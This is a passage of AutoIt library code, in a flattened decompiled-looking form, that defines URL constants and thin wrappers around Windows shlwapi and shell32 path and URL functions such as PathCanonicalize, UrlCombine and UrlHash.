$URL_APPLY_DEFAULT = 1 GLOBAL CONST $URL_APPLY_GUESSSCHEME = 2 GLOBAL CONST $URL_APPLY_GUESSFILE = 4 GLOBAL CONST $URL_APPLY_FORCEAPPLY = 8 GLOBAL CONST $URL_DONT_SIMPLIFY = 134217728 GLOBAL CONST $URL_ESCAPE_AS_UTF8 = 262144 GLOBAL CONST $URL_ESCAPE_PERCENT = 4096 GLOBAL CONST $URL_ESCAPE_SPACES_ONLY = 67108864 GLOBAL CONST $URL_ESCAPE_UNSAFE = 536870912 GLOBAL CONST $URL_NO_META = 134217728 GLOBAL CONST $URL_PLUGGABLE_PROTOCOL = 1073741824 GLOBAL CONST $URL_UNESCAPE = 268435456 GLOBAL CONST $URL_PART_HOSTNAME = 2 GLOBAL CONST $URL_PART_PASSWORD = 4 GLOBAL CONST $URL_PART_PORT = 5 GLOBAL CONST $URL_PART_QUERY = 6 GLOBAL CONST $URL_PART_SCHEME = 1 GLOBAL CONST $URL_PART_USERNAME = 3 GLOBAL CONST $URLIS_APPLIABLE = 4 GLOBAL CONST $URLIS_DIRECTORY = 5 GLOBAL CONST $URLIS_FILEURL = 3 GLOBAL CONST $URLIS_HASQUERY = 6 GLOBAL CONST $URLIS_NOHISTORY = 2 GLOBAL CONST $URLIS_OPAQUE = 1 GLOBAL CONST $URLIS_URL = 0 #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_COMMANDLINETOARGV ($SCMD ) LOCAL $ARESULT [1 ] = [0 ] $SCMD = STRINGSTRIPWS ($SCMD , $STR_STRIPLEADING + $STR_STRIPTRAILING ) IF NOT $SCMD THEN RETURN $ARESULT ENDIF LOCAL $ARET = DLLCALL ("shell32.dll" , "ptr" , "CommandLineToArgvW" , "wstr" , $SCMD , "int*" , 0 ) IF @ERROR OR NOT $ARET [0 ] OR (NOT $ARET [2 ] ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $TPTR = DLLSTRUCTCREATE ("ptr[" & $ARET [2 ] & "]" , $ARET [0 ] ) DIM $ARESULT [$ARET [2 ] + 1 ] = [$ARET [2 ] ] FOR $I = 1 TO $ARET [2 ] $ARESULT [$I ] = _WINAPI_GETSTRING (DLLSTRUCTGETDATA ($TPTR , 1 , $I ) ) NEXT DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $ARET [0 ] ) RETURN $ARESULT ENDFUNC FUNC _WINAPI_ISNAMEINEXPRESSION ($SSTRING , $SPATTERN , $BCASESENSITIVE = FALSE ) IF NOT $BCASESENSITIVE THEN $SPATTERN = STRINGUPPER ($SPATTERN ) LOCAL $TUS1 = __US ($SPATTERN ) LOCAL $TUS2 = __US ($SSTRING ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "boolean" , "RtlIsNameInExpression" , "struct*" , $TUS1 , "struct*" , $TUS2 , "boolean" , NOT $BCASESENSITIVE , "ptr" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PARSEURL ($SURL ) LOCAL $TAGPARSEDURL = "dword Size;ptr Protocol;uint cchProtocol;ptr Suffix;uint cchSuffix;uint Scheme" LOCAL $TPURL = DLLSTRUCTCREATE ($TAGPARSEDURL ) DLLSTRUCTSETDATA ($TPURL , 1 , DLLSTRUCTGETSIZE ($TPURL ) ) LOCAL $TURL = DLLSTRUCTCREATE ("wchar[4096]" ) DLLSTRUCTSETDATA ($TURL , 1 , $SURL ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "ParseURLW" , "struct*" , $TURL , "struct*" , $TPURL ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) LOCAL $ARESULT [3 ] $ARESULT [0 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & DLLSTRUCTGETDATA ($TPURL , 3 ) & "]" , DLLSTRUCTGETDATA ($TPURL , 2 ) ) , 1 ) $ARESULT [1 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & DLLSTRUCTGETDATA ($TPURL , 5 ) & "]" , DLLSTRUCTGETDATA ($TPURL , 4 ) ) , 1 ) $ARESULT [2 ] = DLLSTRUCTGETDATA ($TPURL , 6 ) RETURN $ARESULT ENDFUNC FUNC _WINAPI_PARSEUSERNAME ($SUSER ) IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIParseUserNameW" , "wstr" , $SUSER , "wstr" , "" , "ulong" , 4096 , "wstr" , "" , "ulong" , 4096 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) SWITCH $ARET [0 ] CASE 0 CASE 1315 IF STRINGSTRIPWS ($SUSER , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $ARET [2 ] = $SUSER $ARET [4 ] = "" ELSE CONTINUECASE ENDIF CASE ELSE RETURN SETERROR (10 , $ARET [0 ] , 0 ) ENDSWITCH LOCAL $ARESULT [2 ] $ARESULT [0 ] = $ARET [4 ] $ARESULT [1 ] = $ARET [2 ] RETURN $ARESULT ENDFUNC FUNC _WINAPI_PATHADDBACKSLASH ($SFILEPATH ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathAddBackslashW" , "struct*" , $TPATH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN DLLSTRUCTGETDATA ($TPATH , 1 ) ENDFUNC FUNC _WINAPI_PATHADDEXTENSION ($SFILEPATH , $SEXT = "" ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $STYPEOFEXT = "wstr" IF NOT STRINGSTRIPWS ($SEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFEXT = "ptr" $SEXT = 0 ENDIF LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathAddExtensionW" , "struct*" , $TPATH , $STYPEOFEXT , $SEXT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ARET [0 ] , DLLSTRUCTGETDATA ($TPATH , 1 ) ) ENDFUNC FUNC _WINAPI_PATHAPPEND ($SFILEPATH , $SMORE ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathAppendW" , "struct*" , $TPATH , "wstr" , $SMORE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN DLLSTRUCTGETDATA ($TPATH , 1 ) ENDFUNC FUNC _WINAPI_PATHBUILDROOT ($IDRIVE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathBuildRootW" , "wstr" , "" , "int" , $IDRIVE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHCANONICALIZE ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCanonicalizeW" , "wstr" , "" , "wstr" , $SFILEPATH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , $SFILEPATH ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHCOMMONPREFIX ($SPATH1 , $SPATH2 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathCommonPrefixW" , "wstr" , $SPATH1 , "wstr" , $SPATH2 , "wstr" , "" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ARET [0 ] , $ARET [3 ] ) ENDFUNC FUNC _WINAPI_PATHCOMPACTPATH ($HWND , $SFILEPATH , $IWIDTH = 0 ) IF $IWIDTH < 1 THEN LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) DLLCALL ("user32.dll" , "bool" , "GetClientRect" , "hwnd" , $HWND , "struct*" , $TRECT ) $IWIDTH += DLLSTRUCTGETDATA ($TRECT , "Right" ) - DLLSTRUCTGETDATA ($TRECT , "Left" ) ENDIF LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , $SFILEPATH ) LOCAL $HDC = $ARET [0 ] LOCAL CONST $WM_GETFONT = 49 $ARET = DLLCALL ("user32.dll" , "ptr" , "SendMessage" , "hwnd" , $HWND , "uint" , $WM_GETFONT , "wparam" , 0 , "lparam" , 0 ) LOCAL $HBACK = DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $ARET [0 ] ) LOCAL $IERROR = 0 $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCompactPathW" , "handle" , $HDC , "wstr" , $SFILEPATH , "int" , $IWIDTH ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10 DLLCALL ("gdi32.dll" , "handle" , "SelectObject" , "handle" , $HDC , "handle" , $HBACK [0 ] ) DLLCALL ("user32.dll" , "int" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC ) IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , $SFILEPATH ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_PATHCOMPACTPATHEX ($SFILEPATH , $IMAX ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathCompactPathExW" , "wstr" , "" , "wstr" , $SFILEPATH , "uint" , $IMAX + 1 , "dword" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , $SFILEPATH ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHCREATEFROMURL ($SURL ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "PathCreateFromUrlW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_PATHFINDEXTENSION ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "wstr" , "PathFindExtensionW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHFINDFILENAME ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "wstr" , "PathFindFileNameW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , $SFILEPATH ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHFINDNEXTCOMPONENT ($SFILEPATH ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathFindNextComponentW" , "struct*" , $TPATH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN _WINAPI_GETSTRING ($ARET [0 ] ) ENDFUNC FUNC _WINAPI_PATHFINDONPATH (CONST $SFILEPATH , $AEXTRAPATHS = "" , CONST $SPATHDELIMITER = @LF ) LOCAL $IEXTRACOUNT = 0 IF ISSTRING ($AEXTRAPATHS ) THEN IF STRINGLEN ($AEXTRAPATHS ) THEN $AEXTRAPATHS = STRINGSPLIT ($AEXTRAPATHS , $SPATHDELIMITER , $STR_ENTIRESPLIT + $STR_NOCOUNT ) $IEXTRACOUNT = UBOUND ($AEXTRAPATHS , $UBOUND_ROWS ) ENDIF ELSEIF ISARRAY ($AEXTRAPATHS ) THEN $IEXTRACOUNT = UBOUND ($AEXTRAPATHS ) ENDIF LOCAL $TPATHS , $TPATHPTRS IF $IEXTRACOUNT THEN LOCAL $TAGSTRUCT = "" FOR $PATH IN $AEXTRAPATHS $TAGSTRUCT &= "wchar[" & STRINGLEN ($PATH ) + 1 & "];" NEXT $TPATHS = DLLSTRUCTCREATE ($TAGSTRUCT ) $TPATHPTRS = DLLSTRUCTCREATE ("ptr[" & $IEXTRACOUNT + 1 & "]" ) FOR $I = 1 TO $IEXTRACOUNT DLLSTRUCTSETDATA ($TPATHS , $I , $AEXTRAPATHS [$I + 4294967295 ] ) DLLSTRUCTSETDATA ($TPATHPTRS , 1 , DLLSTRUCTGETPTR ($TPATHS , $I ) , $I ) NEXT DLLSTRUCTSETDATA ($TPATHPTRS , 1 , PTR (0 ) , $IEXTRACOUNT + 1 ) ENDIF LOCAL $ARESULT = DLLCALL ("shlwapi.dll" , "bool" , "PathFindOnPathW" , "wstr" , $SFILEPATH , "struct*" , $TPATHPTRS ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , $SFILEPATH ) RETURN $ARESULT [1 ] ENDFUNC FUNC _WINAPI_PATHGETARGS ($SFILEPATH ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathGetArgsW" , "struct*" , $TPATH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN _WINAPI_GETSTRING ($ARET [0 ] ) ENDFUNC FUNC _WINAPI_PATHGETCHARTYPE ($SCHAR ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "uint" , "PathGetCharTypeW" , "word" , ASCW ($SCHAR ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHGETDRIVENUMBER ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathGetDriveNumberW" , "wstr" , $SFILEPATH ) IF @ERROR OR ($ARET [0 ] = + 4294967295 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN CHR ($ARET [0 ] + 65 ) & ":" ENDFUNC FUNC _WINAPI_PATHISCONTENTTYPE ($SFILEPATH , $STYPE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsContentTypeW" , "wstr" , $SFILEPATH , "wstr" , $STYPE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISEXE ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "PathIsExe" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISFILESPEC ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsFileSpecW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISLFNFILESPEC ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsLFNFileSpecW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISRELATIVE ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsRelativeW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISROOT ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsRootW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISSAMEROOT ($SPATH1 , $SPATH2 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsSameRootW" , "wstr" , $SPATH1 , "wstr" , $SPATH2 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISSYSTEMFOLDER ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsSystemFolderW" , "wstr" , $SFILEPATH , "dword" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISUNC ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISUNCSERVER ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCServerW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHISUNCSERVERSHARE ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathIsUNCServerShareW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHMAKESYSTEMFOLDER ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathMakeSystemFolderW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHMATCHSPEC ($SFILEPATH , $SSPEC ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathMatchSpecW" , "wstr" , $SFILEPATH , "wstr" , $SSPEC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHPARSEICONLOCATION ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "PathParseIconLocationW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $ARESULT [2 ] $ARESULT [0 ] = $ARET [1 ] $ARESULT [1 ] = $ARET [0 ] RETURN $ARESULT ENDFUNC FUNC _WINAPI_PATHRELATIVEPATHTO ($SPATHFROM , $BDIRFROM , $SPATHTO , $BDIRTO ) IF $BDIRFROM THEN $BDIRFROM = 16 ENDIF IF $BDIRTO THEN $BDIRTO = 16 ENDIF LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRelativePathToW" , "wstr" , "" , "wstr" , $SPATHFROM , "dword" , $BDIRFROM , "wstr" , $SPATHTO , "dword" , $BDIRTO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHREMOVEARGS ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathRemoveArgsW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHREMOVEBACKSLASH ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathRemoveBackslashW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHREMOVEEXTENSION ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathRemoveExtensionW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHREMOVEFILESPEC ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRemoveFileSpecW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETEXTENDED ($ARET [0 ] , $ARET [1 ] ) ENDFUNC FUNC _WINAPI_PATHRENAMEEXTENSION ($SFILEPATH , $SEXT ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[260]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathRenameExtensionW" , "struct*" , $TPATH , "wstr" , $SEXT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN DLLSTRUCTGETDATA ($TPATH , 1 ) ENDFUNC FUNC _WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH , $BEXISTS = FALSE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathSearchAndQualifyW" , "wstr" , $SFILEPATH , "wstr" , "" , "int" , 4096 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) IF $BEXISTS AND NOT FILEEXISTS ($ARET [2 ] ) THEN RETURN SETERROR (20 , 0 , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_PATHSKIPROOT ($SFILEPATH ) LOCAL $TPATH = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TPATH , 1 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "PathSkipRootW" , "struct*" , $TPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF NOT $ARET [0 ] THEN RETURN $SFILEPATH RETURN _WINAPI_GETSTRING ($ARET [0 ] ) ENDFUNC FUNC _WINAPI_PATHSTRIPPATH ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathStripPathW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHSTRIPTOROOT ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathStripToRootW" , "wstr" , $SFILEPATH ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHUNDECORATE ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathUndecorateW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHUNEXPANDENVSTRINGS ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathUnExpandEnvStringsW" , "wstr" , $SFILEPATH , "wstr" , "" , "uint" , 4096 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_PATHUNMAKESYSTEMFOLDER ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "PathUnmakeSystemFolderW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PATHUNQUOTESPACES ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "none" , "PathUnquoteSpacesW" , "wstr" , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_PATHYETANOTHERMAKEUNIQUENAME ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "PathYetAnotherMakeUniqueName" , "wstr" , "" , "wstr" , $SFILEPATH , "ptr" , 0 , "ptr" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_SHELLGETIMAGELIST ($BSMALL = FALSE ) LOCAL $PLARGE , $PSMALL , $TPTR = DLLSTRUCTCREATE ("ptr" ) IF $BSMALL THEN $PLARGE = 0 $PSMALL = DLLSTRUCTGETPTR ($TPTR ) ELSE $PLARGE = DLLSTRUCTGETPTR ($TPTR ) $PSMALL = 0 ENDIF LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "Shell_GetImageLists" , "ptr" , $PLARGE , "ptr" , $PSMALL ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TPTR , 1 ) ENDFUNC FUNC _WINAPI_URLAPPLYSCHEME ($SURL , $IFLAGS = 1 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlApplySchemeW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_URLCANONICALIZE ($SURL , $IFLAGS ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCanonicalizeW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_URLCOMBINE ($SURL , $SPART , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCombineW" , "wstr" , $SURL , "wstr" , $SPART , "wstr" , "" , "dword*" , 4096 , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [3 ] ENDFUNC FUNC _WINAPI_URLCOMPARE ($SURL1 , $SURL2 , $BIGNORESLASH = FALSE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "UrlCompareW" , "wstr" , $SURL1 , "wstr" , $SURL2 , "bool" , $BIGNORESLASH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_URLCREATEFROMPATH ($SFILEPATH ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlCreateFromPathW" , "wstr" , $SFILEPATH , "wstr" , "" , "dword*" , 4096 , "dword" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] < 0 OR $ARET [0 ] > 1 THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) ENDIF RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_URLFIXUP ($SURL ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlFixupW" , "wstr" , $SURL , "wstr" , "" , "dword" , 4096 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_URLGETPART ($SURL , $IPART ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlGetPartW" , "wstr" , $SURL , "wstr" , "" , "dword*" , 4096 , "dword" , $IPART , "dword" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_URLHASH ($SURL , $ILENGTH = 32 ) IF $ILENGTH <= 0 OR $ILENGTH > 256 THEN RETURN SETERROR (256 , 0 , 0 ) LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "long" , "UrlHashW" , "wstr" , $SURL , "struct*" , $TDATA , "dword" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN DLLSTRUCTGETDATA ($TDATA , 1 ) ENDFUNC FUNC _WINAPI_URLIS 